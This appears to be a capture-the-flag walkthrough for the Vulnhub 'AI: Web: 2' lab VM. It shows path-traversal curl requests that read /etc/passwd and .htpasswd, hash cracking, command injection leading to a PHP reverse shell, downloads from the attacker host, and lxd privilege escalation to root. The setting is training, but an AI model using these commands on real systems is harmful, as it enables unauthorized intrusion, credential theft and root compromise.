AI Web 2 Vulnhub Walkthrough

AI: Web: 2 is an medium machine from Vulnhub by Jason Wong. This machine is tested in VirtualBox. This lab is suitable for beginner because the service has significant bug of path traversal and Remote Command Execution for reverse connection and a privilege escalation approach. So, let’s get started and learn how to break things down into manageable pieces.

Network Scanning

Firstly, we have to scan the network to find the Victim machine IP using the netdiscover command:

$ sudo netdiscover -i eth1 -r 192.168.1.0/24

The IP address we discover is 192.168.1.137:

Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts                                                          

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     00:50:56:c0:00:01      1      60  VMware, Inc.                                                              
 192.168.1.137   00:0c:29:2c:5e:ad      1      60  VMware, Inc.                                                              
 192.168.1.254   00:50:56:f0:a7:db      1      60  VMware, Inc.          

Nmap

Further, we run an usual scan with Nmap:

$ sudo nmap -sS -sV -sC -p- 192.168.1.137 -oN nmap_full_scan

According to the Nmap output, we get the following information:

  • On port 22 SSH service running

  • On port 80 HTTP service running(Apache)

(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ sudo nmap -sS -sV -sC -p- 192.168.1.137 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2025-08-09 04:50 EDT
Nmap scan report for 192.168.1.137
Host is up (0.00063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9551c12e6fd803e53ee3cad2fad7d4e1 (RSA)
|   256 b98c01fd12f6814513c380232674394e (ECDSA)
|_  256 c16c7eed9d7d1bb3a9cb640f04d2271a (ED25519)
80/tcp open  http    Apache httpd
|_http-title: File Manager (Credit: XuezhuLi)
|_http-server-header: Apache
MAC Address: 00:0C:29:2C:5E:AD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.58 seconds

Enumeration

We can't do very wuch with SSH service at this moment. Lets enumerate HTTP service to see if we can get any interesting information. We can enumerate it manually with the browser:

We can't miss source code. Lets see whether we can something from it:

The author of the application is found: XuezhuLi, althougth we don't know if it is useful information or not.

Let's use admin as username to login but error message of Illegal username is returned. Then we can try login bypass technique to see if it works:

admin' or 1=1 -- 

Eventually such attemp is failed. We then use BurpSuite to intercept the request and launch SQLmap to see whether it is vulnerable to SQL injection or not.

The request intercepted by BurpSuite can be saved to file: req.txt. Results show it doesn't seem to be injectable as follows:

─(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ sqlmap -r req.txt --level=3
~snippet
[05:04:33] [WARNING] parameter 'Referer' does not seem to be injectable
[05:04:33] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[05:04:33] [WARNING] your sqlmap version is outdated

Following some sort of methodology, automatic enumeration with the HTTP service will be done:

$ nikto -h http://192.168.1.137
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.137
+ Target Hostname:    192.168.1.137
+ Target Port:        80
+ Start Time:         2025-08-09 05:07:12 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Uncommon header 'content-disposition' found, with contents: attachment; filename=
+ Uncommon header 'accept-length' found, with contents: 4096
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8067 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2025-08-09 05:08:06 (GMT-4) (54 seconds)
---------------------------------------------------------------------------

Nikto doesn't generate anything interesting. Good thing is that Gobuster has discovered something as follows:

$ gobuster dir -u http://192.168.1.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.137
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,html,txt,bak
[+] Timeout:                 10s
===============================================================
2025/08/09 05:08:32 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 199]
/index.php            (Status: 200) [Size: 678]
/download.php         (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 199]
/signup.php           (Status: 200) [Size: 651]
/css                  (Status: 301) [Size: 233] [--> http://192.168.1.137/css/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/srv                  (Status: 301) [Size: 233] [--> http://192.168.1.137/srv/]
/webadmin             (Status: 401) [Size: 381]
/.php                 (Status: 403) [Size: 199]
/.html                (Status: 403) [Size: 199]
/server-status        (Status: 403) [Size: 199]
/viewing.php          (Status: 200) [Size: 15]

We access the discovered directoryies, but only /webadmin catches our attention, although it requires HTTP basic authentication, default crentials won't work for it. In order to go further, I sign up new user on the home page:

Then we can log in with the created username, even without password:

We may walk around the site for a while, but nothing could be done. We can notice "XuezhuLi FileSharing" has connection to the author which we has discovered in the source code earlier. Then we can launch searchsploit to see if it has exploit:

$ searchsploit XuezhuLi      
----------------------------------------------------------------- ---------------------------------
 Exploit Title                                                   |  Path
----------------------------------------------------------------- ---------------------------------
XuezhuLi FileSharing - Cross-Site Request Forgery (Add User)     | php/webapps/40010.html
XuezhuLi FileSharing - Directory Traversal                       | php/webapps/40009.txt
----------------------------------------------------------------- -------------------------------

We can get the second exploit by copying it from the source to the current working directory:

$ searchsploit -m php/webapps/40009.txt
  Exploit: XuezhuLi FileSharing - Directory Traversal
      URL: https://www.exploit-db.com/exploits/40009
     Path: /usr/share/exploitdb/exploits/php/webapps/40009.txt
    Codes: N/A
 Verified: False
File Type: ASCII text, with very long lines (316)
Copied to: /home/kali/Desktop/Vulnhub/AI_Web/40009.txt

Following exploitation instruction, we can test to see whether /etc/passwd is accessible. One of path may work as follows:

$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aiweb2:x:1000:1000::/home/aiweb2:/bin/bash
n0nr00tuser:x:1001:1001::/home/n0nr00tuser:/bin/bash

┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ curl http://192.168.1.137/viewing.php?file_name=../../../../../../../../../../../../../etc/passwd 
Illegal access!    

Then we can go ahead to see how to exploit the vulnerability. In the following order, we can attempt to access private key, /var/log/auth.log, /var/log/apache2/access.log:

$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../home/aiweb2/.ssh/id_rsa
Cannot find the file                                                                                                   
┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../home/n0nr00tuser/.ssh/id_rsa
Cannot find the file                                                                                                   
┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../var/log/auth.log

┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../var/log/apache2/access.log
Cannot find the file        

Unfortunately, nothing else is found except /etc/passwd itself. Then we can check to see the possibility of remote file inclusion. To test we can set up web server on the Kali with Python3:

─(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
─(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ curl http://192.168.1.137/download.php?file_name=http://192.168.1.129:8000/test.txt
Cannot find the file  

We can then check to see whether we can access .htpasswd which contains HTTP Basic authentication info.

$ curl http://192.168.1.137/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/

We can use John The Ripper to crack the password as follows:

$ echo '$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/' > hashes

┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
c.ronaldo        (?)     
1g 0:00:00:00 DONE (2025-08-09 06:01) 10.00g/s 61440p/s 61440c/s 61440C/s playa..honeybear
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Up to now, we can get credentials to be authenticated to the directory of /webadmin:

Exciting, it does work! The content of its homepage clears tells us the robots.txt should be inspected.

User-agent: *
Disallow: 
Disallow: /H05Tpin9555/
Disallow: /S0mextras/

We then access either of entries in the robots.txt. /H05Tpin955 allows us to ping host:

Exploitation

At this point, we may have a reasonable guess that command injection will be here. To verify this, we can launch BurpSuite and make user of its Repeater module to conduct such testing multiple times easily.

We can try different operator like: &, ;,|, etc. "|" can work as follows:

We have to set up listener on Kali with netcat:

─$ sudo nc -nlvp 5555                                        
[sudo] password for kali: 
listening on [any] 5555 ...

Try many ways to run reverse shell, one of them can work by feeding php reverse shell file(shell.php):

In this way, php reverse shell file has been uploaded to the target machine. We may access the file with the browser to get initial foothold on the target machine:

http://192.168.1.137/webadmin/H05Tpin9555/shell.php
┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ sudo nc -nlvp 5555                                        
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.1.129] from (UNKNOWN) [192.168.1.137] 50140
Linux aiweb2host 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 10:34:43 up  2:47,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

We may make an interactive shell with python:

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb2host:/$ export TERM=xterm-256color
export TERM=xterm-256color
www-data@aiweb2host:/$ 

Next we can gather information on the target machine to attempt to make lateral movement. Fortunately, I find one file which contains the ssh credentials:

www-data@aiweb2host:/var/www/html/webadmin/S0mextras$ cat .sshUserCred55512.txt
cat .sshUserCred55512.txt
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

Therefore, we may ssh to the target machine to get a better shell:

└─$ ssh n0nr00tuser@192.168.1.137
The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
ED25519 key fingerprint is SHA256:t2F+fHHZvX3b31pYTUlaJruN5hlsxbpyKYcNGpc0Gfk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.137' (ED25519) to the list of known hosts.
n0nr00tuser@192.168.1.137's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Aug  9 10:38:20 UTC 2025

  System load:  0.0               Processes:            169
  Usage of /:   70.8% of 3.87GB   Users logged in:      0
  Memory usage: 15%               IP address for ens32: 192.168.1.137
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Sun Sep  1 05:35:18 2019 from 192.168.187.1
n0nr00tuser@aiweb2host:~$ 

We may upload linpeas.sh script to the target machine to conduct automatic enumeration:

n0nr00tuser@aiweb2host:/tmp$ wget http://192.168.1.129:8000/linpeas.sh
--2025-08-09 10:41:37--  http://192.168.1.129:8000/linpeas.sh
Connecting to 192.168.1.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847924 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                 100%[=====================================>] 828.05K  --.-KB/s    in 0.003s  

2025-08-09 10:41:37 (316 MB/s) - ‘linpeas.sh’ saved [847924/847924]

n0nr00tuser@aiweb2host:/tmp$ chmod +x linpeas.sh
n0nr00tuser@aiweb2host:/tmp$ ./linpeas.sh

The output of linpeas.sh is as follows:

~
════╣ Users Information ╠═══════════════════════════════                      
                               ╚═══════════════════╝                                                     
╔══════════╣ My user
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users                                 
uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd) 

We can take advantage of lxd membership to elevate privige following the steps:

https://www.hackingarticles.in/lxd-privilege-escalation/

So, we downloaded the build alpine using the GitHub repose

$ git clone  https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 3.71 MiB/s, done.
Resolving deltas: 100% (19/19), done.

┌──(kali㉿kali)-[~/Desktop/Vulnhub/AI_Web]
└─$ cp lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz . 

Upload the alpine-image into /tmp directory on the target machine.

n0nr00tuser@aiweb2host:/tmp$ wget http://192.168.1.129:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2025-08-09 10:47:36--  http://192.168.1.129:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 192.168.1.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’

alpine-v3.13-x86_64-202102 100%[=====================================>]   3.11M  --.-KB/s    in 0.06s   

2025-08-09 10:47:36 (49.7 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]

After the image is uploaded, it can be added as an image to LXD as follows:

n0nr00tuser@aiweb2host:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
n0nr00tuser@aiweb2host:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
n0nr00tuser@aiweb2host:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
n0nr00tuser@aiweb2host:/tmp$ lxc start ignite
n0nr00tuser@aiweb2host:/tmp$ lxc exec ignite /bin/sh
~ # cd /mnt/root
/mnt/root/root # cat flag.txt
####################################################
#                                                  #
#                 AI: WEB 2.0                      #
#                                                  #
#               Congratulation!!!                  #
#                                                  #
#             Hope you enjoyed this.               #
#                                                  #
#  flag{7fe64512ecd4dba377b50627f307d1678b14132f}  #
#                                                  #
#         Please tweet on @arif_xpress             #
#                                                  #
####################################################
/mnt/root/root # 

Finally we can grab the flag.

Author: Junhua Wong is a Cybersecurity enthusiast and Researcher.

Related Articles

HackTheBox Lame CTF Walkthrough

Read Article
Dhanush VulnHub CTF Walkthrough

Read Article
MinU v2 VulnHub Walkthrough: Full CTF Guide

Read Article

Comments

Leave a Comment

No comments yet. Be the first to comment!